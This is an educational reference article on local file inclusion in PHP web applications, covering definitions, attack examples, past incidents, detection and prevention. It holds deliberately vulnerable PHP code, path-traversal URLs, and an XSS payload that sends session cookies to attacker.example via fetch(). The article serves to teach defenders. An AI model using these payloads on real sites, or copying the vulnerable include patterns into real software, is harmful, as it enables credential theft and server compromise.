Local file inclusion (LFI)
What is local file inclusion?
Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder.
Severity: | severe | |
Prevalence: | discovered rarely | |
Scope: | appears only in web-related software | |
Technical impact: | access to sensitive information | |
Worst-case consequences: | remote code execution | |
Quick fix: | do not use filenames from user input |
How does local file inclusion work?
When writing web applications, developers often need to access additional server-side files located in the application directory or its subdirectories. For example, developers may want to include configuration files and application modules or to access and display files uploaded by users, such as images or text files.
To access non-static files, developers commonly pass filenames via user input parameters. For example, if the application is to display images uploaded by users, the author of the application may decide to allow arbitrary names for these images. In the case of scripting languages like PHP, developers may also need to dynamically include files that contain source code.
Local file inclusion vulnerabilities happen when a malicious user can include an arbitrary file name or path in user input. For example, if an application is designed to display an arbitrary image based on a URL parameter, but an attacker is able to use this functionality to display application source code, that application has an LFI vulnerability. Note that if the attacker can include a malicious file from a remote location, we are talking about a remote file inclusion (RFI) vulnerability.
Local file inclusion vs. directory traversal
Local file inclusion vulnerabilities are often confused with directory traversal (path traversal), which is similar but not synonymous:
- LFI means that the attacker can include source code files or view files that are located within the document root directory and its subdirectories, but it does not mean that the attacker can reach outside of the document root.
- Directory traversal means that the attacker can access files located outside the document root directory, for example, log files or the passwd file, and the attack does not involve running any malicious code.
The two vulnerabilities are often confused because they frequently occur together and have the same root cause: the developer allowing paths to local files to be passed as part of user input (CWE-73).
Note: Some definitions consider local file inclusion to be limited to cases where the included file contains source code and is also executed. For example, in the CWE index, the definition of local file inclusion is CWE-98: Improper control of filename for include/require statement in PHP program.
Examples of local file inclusion attacks
Below are examples of PHP code with local file inclusion vulnerabilities, as well as different LFI attack vectors on applications that include this code.
LFI that leads to sensitive information disclosure
The developer of a PHP application wants the user to be able to read poems stored in text files on the web server. These poems are written to text files, uploaded by other users, and stored in a relative poems directory. Then, the poems are displayed in the web browser as part of the HTML page. The following is a code snippet from the poems/display.php file.
<?PHP
$file = $_GET["file"];
$handle = fopen($file, 'r');
$poem = fread($handle, 1);
fclose($handle);
echo $poem;
?>
As you can see, the filename is taken directly from the HTTP request header. Therefore, you can access and display a poem called poem.txt using the following URL:
http://victim.example/my_app/display.php?file=poem.txt
The attack vector
The attacker abuses this script by manipulating the GET request using the following payload:
http://victim.example/my_app/display.php?file=../config/database.php
The display.php script navigates up to the document root directory and then down to the /config/ subdirectory. There, it includes the database configuration file database.php, which contains the username and password used to connect to the database. The data is exposed as part of the HTML code and the attacker just needs to examine the source code of the page to learn how to access the database directly.
LFI that leads to cross-site scripting
Attackers may also use the code above to escalate the attack to stored cross-site scripting (XSS).
The attack vector
The attacker first uses the poem file upload functionality to upload the following “poem” as a text file called poem42.txt:
<script>fetch("http://attacker.example?log="+encodeURIComponent(document.cookie));</script>
Then, the attacker submits a request to include the poem:
http://victim.example/my_app/display.php?file=poem42.txt
Since the content of the poem is intended to be directly displayed as part of the HTML code, the page code now includes a stored cross-site scripting vulnerability. The attacker may deliver this link to any number of victims, and anyone who opens it will have their session cookies sent to the attacker-controlled attacker.example site.
LFI that leads to remote code execution
The developer of the same PHP application also wants to be able to include modules dynamically. The following is a code snippet from the index.php file.
<?PHP
$module = $_GET["module"];
include $module;
?>
Again, the filename is taken directly from the GET HTTP request. Therefore, you can include the module welcome.php as follows:
http://victim.example/index.php?module=welcome.php
The attack vector
The attacker first uses the poem upload functionality to upload poem42.txt, which contains the PHP source code of the pentest monkey reverse shell.
Then, the attacker manipulates the GET request to index.php to include the poem instead of a module:
http://victim.example/index.php?module=poems/poem42.txt
As a result, the application runs the code of the reverse shell (remote code execution), granting the attacker remote access to the server command line.
Potential consequences of a local file inclusion attack
As you can see from the examples above, local file inclusion vulnerabilities may have a variety of consequences, depending on the functionality of the vulnerable application. Here are some examples:
- If the application displays arbitrary images, it can be used to display sensitive information such as source code or configuration files.
- If the application allows you to download arbitrary files such as PDF files, it can be used to download sensitive information such as source code or configuration files.
- If the application includes arbitrary file content as part of the HTML page, it can be used to exploit cross-site scripting vulnerabilities.
- If the application dynamically includes arbitrary source code files and the attacker is able to upload or change files, it can be used to escalate to remote code execution.
Examples of well-known local file inclusion vulnerabilities
- The 2016 Adult Friend Finder hack: The attackers used an LFI vulnerability to compromise 412 million accounts, exposing e-mails, passwords, as well as confidential data such as sexual preferences and marital status. The company was warned of the vulnerability earlier but did not fix it immediately.
- The 2012 weather.gov hack: Attackers used LFI and directory traversal to gather sensitive information from the national weather service server.
- The 2011 TimThumb vulnerability: An LFI vulnerability in a WordPress add-on script was used to compromise more than 1.2 million websites in 2011 alone. Despite the fact that this vulnerable addon was abandoned in 2014, developers are still using it.
How to detect local file inclusion vulnerabilities?
The best way to detect local file inclusion vulnerabilities depends on whether they are already known or unknown.
- If you only use commercial or open-source software and do not develop software of your own, you may find it enough to identify the exact version of the system or application that you are using. If the identified version is vulnerable to local file inclusion, you can assume that you are susceptible to that local file inclusion vulnerability. You can identify the version manually or use a suitable security tool, such as software composition analysis (SCA) software in the case of web applications or a network scanner in the case of networked systems and applications.
- If you develop your own software or want to potentially find unknown local file inclusion vulnerabilities (zero-days) in known applications, you must be able to successfully exploit the local file inclusion vulnerability to be certain that it exists. In such cases, you need to either perform manual penetration testing with the help of security researchers or penetration testers, or use an application security testing tool (web vulnerability scanner) that can automatically exploit vulnerabilities. Examples of such tools are Invicti and Acunetix by Invicti. We recommend using this method even for known vulnerabilities.
How to prevent local file inclusion vulnerabilities in web applications?
There are several methods that allow you to prevent local file inclusion vulnerabilities in your code:
- Completely avoid passing filenames in user input. This includes not just direct user input but also other data sources that can be manipulated by the attacker, for example, cookies.
- If your application requires you to use filenames from user input and there is no way around it, create a whitelist of safe files.
- If you cannot create a whitelist because you use arbitrary filenames (for example, if users upload the files), store filenames in the database and use table row identifiers in user input. You can also use URL mappings to identify files with no risk of local file inclusion.
The above methods are available in every programming language and therefore every developer can easily prevent local file inclusion vulnerabilities by using secure coding techniques. There is no excuse for having local file inclusion in your code.
Note: Do not rely on blacklisting, encoding, or methods of input validation/sanitization such as filtering to prevent local file inclusion. For example, don’t try to limit or enforce file extensions or block special character sequences as your only protection from LFI. Attackers can go around such filters by using several different methods such as URL encoding and wrappers such as php://filter.
How to mitigate local file inclusion attacks?
Methods to mitigate local file inclusion attacks will differ depending on the type of software:
- In the case of custom web applications, you can mitigate local file inclusion attacks by running your web application in a limited environment, which is very common for web APIs. For example, instead of running all your applications on a single Linux server with Apache, you can run each of them in a separate Docker container. This will limit the number of files that the attacker can access – they won’t be able to access other applications in the same web root folder.
- In the case of known local file inclusions in third-party software, such as for example administration software for hardware routers and firewalls, you must check the latest security advisories for a fix and update to a non-vulnerable version.
In the case of zero-day local file inclusions in third-party software, you can apply temporary WAF (web application firewall) rules for mitigation. However, this only makes local file inclusion harder to exploit and does not eliminate the problem.
Frequently asked questions
What is local file inclusion (LFI)?
Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. It is similar to remote file inclusion.
How dangerous is LFI?
Local file inclusion vulnerabilities may have a variety of consequences, depending on the functionality of the vulnerable application, and may even lead to complete system compromise. They often appear together with directory traversal vulnerabilities.
How to avoid LFI?
To avoid LFI and many other vulnerabilities, follow secure programming habits and never trust user input. If you need to include local files, use a whitelist of allowed file names and locations.
Classification | ID |
---|---|
CAPEC | 252 |
CWE | 98 |
WASC | 33 |
OWASP 2021 | A1 |
Related blog posts
Written by: Tomasz Andrzej Nidecki, reviewed by: Sven Morgenroth